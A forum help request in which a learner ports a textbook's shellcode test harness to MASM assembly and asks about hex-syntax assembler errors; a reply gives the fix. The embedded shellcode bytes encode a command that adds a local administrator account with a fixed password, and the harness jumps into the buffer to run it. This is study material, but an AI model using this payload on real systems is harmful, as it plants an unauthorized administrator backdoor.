首页
社区
课程
招聘
[求助]汇编编程运行shellcode,但是编译出错,求诊断
2012-2-15 11:44 4822

[求助]汇编编程运行shellcode,但是编译出错,求诊断

2012-2-15 11:44
4822
书中第5章有调试shellcode的代码,使c语言的,想把它改为汇编版,但是编译时出错,请帮我看看:
    .486
    .model flat, stdcall
    option casemap :none

    include \masm32\include\windows.inc
    include \masm32\include\kernel32.inc
    includelib \masm32\lib\kernel32.lib

 
  .data
 
    align 4
    szShellcode \
      db ebh,16h,5bh,31h,c0h,50h,53h,bbh,adh,23h
      db 86h,7ch,ffh,d3h,31h,c0h,50h,bbh,fah,cah
      db 81h,7ch,ffh,d3h,e8h,e5h,ffh,ffh,ffh,63h
      db 6dh,64h,2eh,65h,78h,65h,20h,2fh,63h,20h
      db 6eh,65h,74h,20h,75h,73h,65h,72h,20h,73h
      db 65h,63h,75h,69h,64h,30h,20h,6dh,30h,6eh
      db 6bh,20h,2fh,61h,64h,64h,20h,26h,26h,20h
      db 6eh,65h,74h,20h,6ch,6fh,63h,61h,6ch,67h
      db 72h,6fh,75h,70h,20h,61h,64h,6dh,69h,6eh
      db 69h,73h,74h,72h,61h,74h,6fh,72h,73h,20h
      db 73h,65h,63h,75h,69h,64h,30h,20h,2fh,61h
      db 64h,64h,00h



    .code

start:

    lea eax,szShellcode
	jmp eax

    invoke ExitProcess,0

end start


估计是语法的错误,但不知道怎么修改,编译信息如下:
scancode.asm(13) : error A2006: undefined symbol : ebh
scancode.asm(13) : error A2006: undefined symbol : c0h
scancode.asm(13) : error A2006: undefined symbol : bbh
scancode.asm(13) : error A2006: undefined symbol : adh
scancode.asm(15) : error A2006: undefined symbol : ffh
scancode.asm(15) : error A2006: undefined symbol : d3h
scancode.asm(15) : error A2006: undefined symbol : c0h
scancode.asm(15) : error A2006: undefined symbol : bbh
scancode.asm(15) : error A2006: undefined symbol : fah
scancode.asm(15) : error A2006: undefined symbol : cah
scancode.asm(16) : error A2006: undefined symbol : ffh
scancode.asm(16) : error A2006: undefined symbol : d3h
scancode.asm(16) : error A2006: undefined symbol : e8h
scancode.asm(16) : error A2006: undefined symbol : e5h

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
点赞0
打赏
分享
最新回复 (1)
雪    币: 146
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
fengor 2012-2-15 15:14
2
0
找到原因了,原来是数据定义错误.十六进制数据如果以字母开头,前面要加个0.
游客
登录 | 注册 方可回帖
返回